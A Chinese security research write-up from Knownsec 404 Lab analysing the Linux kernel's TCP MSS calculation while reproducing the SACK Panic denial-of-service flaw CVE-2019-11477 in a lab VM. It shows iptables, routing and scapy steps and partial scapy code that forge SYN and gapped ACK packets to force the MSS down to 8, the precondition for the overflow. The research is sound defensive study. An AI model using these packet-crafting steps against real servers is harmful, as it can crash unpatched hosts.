作者:Hcamael@知道創宇 404 實驗室
時間:2019 年 6 月 26 日
英文版本:http://www.bjnorthway.com/967/
前言
上周Linux內核修復了4個CVE漏洞[1],其中的CVE-2019-11477感覺是一個很厲害的Dos漏洞,不過因為有其他事打斷,所以進展的速度比較慢,這期間網上已經有相關的分析文章了。[2][3]
而我在嘗試復現CVE-2019-11477漏洞的過程中,在第一步設置MSS的問題上就遇到問題了,無法達到預期效果,但是目前公開的分析文章卻沒對該部分內容進行詳細分析。所以本文將通過Linux內核源碼對TCP的MSS機制進行詳細分析。
測試環境
1. 存在漏洞的靶機
操作系統版本:Ubuntu 18.04
內核版本:4.15.0-20-generic
地址:192.168.11.112
內核源碼:
$ sudo apt install linux-source-4.15.0
$ ls /usr/src/linux-source-4.15.0.tar.bz2
帶符號的內核:
$ cat /etc/apt/sources.list.d/ddebs.list
deb http://ddebs.ubuntu.com/ bionic main
deb http://ddebs.ubuntu.com/ bionic-updates main
$ sudo apt install linux-image-4.15.0-20-generic-dbgsym
$ ls /usr/lib/debug/boot/vmlinux-4.15.0-20-generic
關閉內核地址隨機化(KALSR):
# 內核是通過grup啟動的,所以在grup配置文件中,內核啟動參數里加上nokaslr
$ cat /etc/default/grub |grep -v "#" | grep CMDLI
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr"
GRUB_CMDLINE_LINUX=""
$ sudo update-grub
裝一個nginx,供測試:
$ sudo apt install nginx
2. 宿主機
操作系統:MacOS
Wireshark:抓流量
虛擬機:VMware Fusion 11
調試Linux虛擬機:
$ cat ubuntu_18.04_server_test.vmx|grep debug
debugStub.listen.guest64 = "1"
編譯gdb:
$ ./configure --build=x86_64-apple-darwin --target=x86_64-linux --with-python=/usr/local/bin/python3
$ make
$ sudo make install
$ cat .zshrc|grep gdb
alias gdb="~/Documents/gdb_8.3/gdb/gdb"
gdb進行遠程調試:
$ gdb vmlinux-4.15.0-20-generic
$ cat ~/.gdbinit
define gef
source ~/.gdbinit-gef.py
end
define kernel
target remote :8864
end
3. 攻擊機器
自己日常使用的Linux設備就好了
地址:192.168.11.111
日常習慣使用Python的,需要裝個scapy構造自定義TCP包
自定義SYN的MSS選項
有三種方法可以設置TCP SYN包的MSS值
1. iptable
# 添加規則
$ sudo iptables -I OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48
# 刪除
$ sudo iptables -D OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48
2. route
# 查看路由信息
$ route -ne
$ ip route show
192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100
# 修改路由表
$ sudo ip route change 192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100 advmss 48
# 修改路由表信息就是在上面show的結果后面加上 advmss 8
3. 直接發包設置
PS:使用scapy發送自定義TCP包需要ROOT權限
from scapy.all import *
ip = IP(dst="192.168.11.112")
tcp = TCP(dport=80, flags="S",options=[('MSS',48),('SAckOK', '')])
flags選項S表示SYN,A表示ACK,SA表示SYN, ACK
scapy中TCP可設置選項表:
TCPOptions = (
{
0 : ("EOL",None),
1 : ("NOP",None),
2 : ("MSS","!H"),
3 : ("WScale","!B"),
4 : ("SAckOK",None),
5 : ("SAck","!"),
8 : ("Timestamp","!II"),
14 : ("AltChkSum","!BH"),
15 : ("AltChkSumOpt",None),
25 : ("Mood","!p"),
254 : ("Experiment","!HHHH")
},
{
"EOL":0,
"NOP":1,
"MSS":2,
"WScale":3,
"SAckOK":4,
"SAck":5,
"Timestamp":8,
"AltChkSum":14,
"AltChkSumOpt":15,
"Mood":25,
"Experiment":254
})
但是這個會有一個問題,在使用Python發送了一個SYN包以后,內核會自動帶上一個RST包,查過資料后,發現在新版系統中,對于用戶發送的未完成的TCP握手包,內核會發送RST包終止該連接,應該是為了防止進行SYN Floor攻擊。解決辦法是使用iptable過濾RST包:
$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.11.111 -j DROP
對于MSS的深入研究
關于該漏洞的細節,別的文章中已經分析過了,這里簡單的提一下,該漏洞為uint16溢出:
tcp_gso_segs 類型為uint16
tcp_set_skb_tso_segs:
tcp_skb_pcount_set(skb, DIV_ROUND_UP(skb->len, mss_now));
skb->len的最大值為17 * 32 * 1024
mss_now的最小值為8
>>> hex(17*32*1024//8)
'0x11000'
>>> hex(17*32*1024//9)
'0xf1c7'
所以在mss_now小于等于8時,才能發生整型溢出。
深入研究的原因是因為進行了如下的測試:
攻擊機器通過iptables/iproute命令將MSS值為48后,使用curl請求靶機的http服務,然后使用wireshark抓流量,發現服務器返回的http數據包的確被分割成小塊,但是只小到36,離預想的8有很大的差距

這個時候我選擇通過審計源碼和調試來深入研究為啥MSS無法達到我的預期值,SYN包中設置的MSS值到代碼中的mss_now的過程中發生了啥?
隨機進行源碼審計,對發生溢出的函數tcp_set_skb_tso_segs進行回溯:
tcp_set_skb_tso_segs <- tcp_fragment <- tso_fragment <- tcp_write_xmit
最后發現,傳入tcp_write_xmit函數的mss_now都是通過tcp_current_mss函數進行計算的
隨后對tcp_current_mss函數進行分析,關鍵代碼如下:
# tcp_output.c
tcp_current_mss -> tcp_sync_mss:
mss_now = tcp_mtu_to_mss(sk, pmtu);
tcp_mtu_to_mss:
/* Subtract TCP options size, not including SACKs */
return __tcp_mtu_to_mss(sk, pmtu) -
(tcp_sk(sk)->tcp_header_len - sizeof(struct tcphdr));
__tcp_mtu_to_mss:
if (mss_now < 48)
mss_now = 48;
return mss_now;
看完這部分源碼后,我們對MSS的含義就有一個深刻的理解,首先說一說TCP協議:
TCP協議包括了協議頭和數據,協議頭包括了固定長度的20字節和40字節的可選參數,也就是說TCP頭部的最大長度為60字節,最小長度為20字節。
在__tcp_mtu_to_mss函數中的mss_now為我們SYN包中設置的MSS,從這里我們能看出MSS最小值是48,通過對TCP協議的理解和對代碼的理解,可以知道SYN包中MSS的最小值48字節表示的是:TCP頭可選參數最大長度40字節 + 數據最小長度8字節。
但是在代碼中的mss_now表示的是數據的長度,接下來我們再看該值的計算公式。
tcphdr結構:
struct tcphdr {
__be16 source;
__be16 dest;
__be32 seq;
__be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
__be16 window;
__sum16 check;
__be16 urg_ptr;
};
該結構體為TCP頭固定結構的結構體,大小為20bytes
變量tcp_sk(sk)->tcp_header_len表示的是本機發出的TCP包頭部的長度。
因此我們得到的計算mss_now的公式為:SYN包設置的MSS值 - (本機發出的TCP包頭部長度 - TCP頭部固定的20字節長度)
所以,如果tcp_header_len的值能達到最大值60,那么mss_now就能被設置為8。那么內核代碼中,有辦法讓tcp_header_len達到最大值長度嗎?隨后我們回溯該變量:
# tcp_output.c
tcp_connect_init:
tp->tcp_header_len = sizeof(struct tcphdr);
if (sock_net(sk)->ipv4.sysctl_tcp_timestamps)
tp->tcp_header_len += TCPOLEN_TSTAMP_ALIGNED;
#ifdef CONFIG_TCP_MD5SIG
if (tp->af_specific->md5_lookup(sk, sk))
tp->tcp_header_len += TCPOLEN_MD5SIG_ALIGNED;
#endif
所以在Linux 4.15內核中,在用戶不干預的情況下,內核是不會發出頭部大小為60字節的TCP包。這就導致了MSS無法被設置為最小值8,最終導致該漏洞無法利用。
總結
我們來總結一下整個流程:
- 攻擊者構造SYN包,自定義TCP頭部可選參數MSS的值為48
- 靶機(受到攻擊的機器)接收到SYN請求后,把SYN包中的數據保存在內存中,返回SYN,ACK包。
- 攻擊者返回ACK包
三次握手完成
隨后根據不同的服務,靶機主動向攻擊者發送數據或者接收到攻擊者的請求后向攻擊者發送數據,這里就假設是一個nginx http服務。
1. 攻擊者向靶機發送請求:GET / HTTP/1.1。
2. 靶機接收到請求后,首先計算出tcp_header_len,默認等于20字節,在內核配置sysctl_tcp_timestamps開啟的情況下,增加12字節,如果編譯內核的時候選擇了CONFIG_TCP_MD5SIG,會再增加18字節,也就是說tcp_header_len的最大長度為50字節。
3. 隨后需要計算出mss_now = 48 - 50 + 20 = 18
這里假設一下該漏洞可能利用成功的場景:有一個TCP服務,自己設定了TCP可選參數,并且設置滿了40字節,那么攻擊者才有可能通過構造SYN包中的MSS值來對該服務進行Dos攻擊。
隨后我對Linux 2.6.29至今的內核進行審計,mss_now的計算公式都一樣,tcp_header_len長度也只會加上時間戳的12字節和md5值的18字節。
----- 2019/07/03 UPDATE -----
經過@riatre大佬的指正,我發現上述我對tcp_current_mss函數的分析中漏了一段重要的代碼:
# tcp_output.c
tcp_current_mss -> tcp_sync_mss:
mss_now = tcp_mtu_to_mss(sk, pmtu);
header_len = tcp_established_options(sk, NULL, &opts, &md5) +
sizeof(struct tcphdr);
if (header_len != tp->tcp_header_len) {
int delta = (int) header_len - tp->tcp_header_len;
mss_now -= delta;
}
在tcp_established_options函數的代碼中,除了12字節的時間戳,20字節的md5,還有對SACK長度的計算,在長度不超過tcp可選項40字節限制的前提下,公式為:size = 4 + 8 * opts->num_sack_blocks
eff_sacks = tp->rx_opt.num_sacks + tp->rx_opt.dsack;
if (unlikely(eff_sacks)) {
const unsigned int remaining = MAX_TCP_OPTION_SPACE - size;
opts->num_sack_blocks =
min_t(unsigned int, eff_sacks,
(remaining - TCPOLEN_SACK_BASE_ALIGNED) /
TCPOLEN_SACK_PERBLOCK);
size += TCPOLEN_SACK_BASE_ALIGNED +
opts->num_sack_blocks * TCPOLEN_SACK_PERBLOCK;
}
所以湊齊40字節的方法是:12字節的時間戳 + 8 * 3(opts->num_sack_blocks)
變量opts->num_sack_blocks表示從對端接受的數據包中丟失的數據包數目
所以在這里修改一下總結中后三步的過程:
-
攻擊者向靶機發送一段正常的HTTP請求
-
靶機接收到請求后,會發送HTTP響應包,如上面的wireshark截圖所示,響應包會按照36字節的長度分割成多分
-
攻擊者構造序列號帶有缺漏的ACK包(ACK包需要帶一些數據)
-
服務器接收到無序的ACK包后,發現產生了丟包的情況,所以在后續發送的數據包中,都會帶上SACK選項,告訴客戶端,那些數據包丟失,直到TCP鏈接斷開或者接收到響應序列的數據包。
效果如下圖所示:

因為算上時間戳,TCP SACK選項里最多只能包含3段序列編號,所以只要發送4次ACK包,就能把MSS設置為8。
部分scapy代碼如下:
data = "GET / HTTP/1.1\nHost: 192.168.11.112\r\n\r\n"
ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1)
ACK.options = [("NOP",None), ("NOP",None), ('Timestamp', (1, 2))]
send(ip/ACK/data)
dl = len(data)
test = "a"*10
ACK.seq += dl + 20
ACK.ack = SYNACK.seq+73
send(ip/ACK/test)
ACK.seq += 30
ACK.ack = SYNACK.seq+181
send(ip/ACK/test)
ACK.seq += 30
ACK.ack = SYNACK.seq+253
send(ip/ACK/test)
因為現在已經能滿足mss_now=8的前提,后續將會對該漏洞進行進一步的分析。
參考
- https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md
- http://www.bjnorthway.com/959/
- http://www.bjnorthway.com/960/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/966/
暫無評論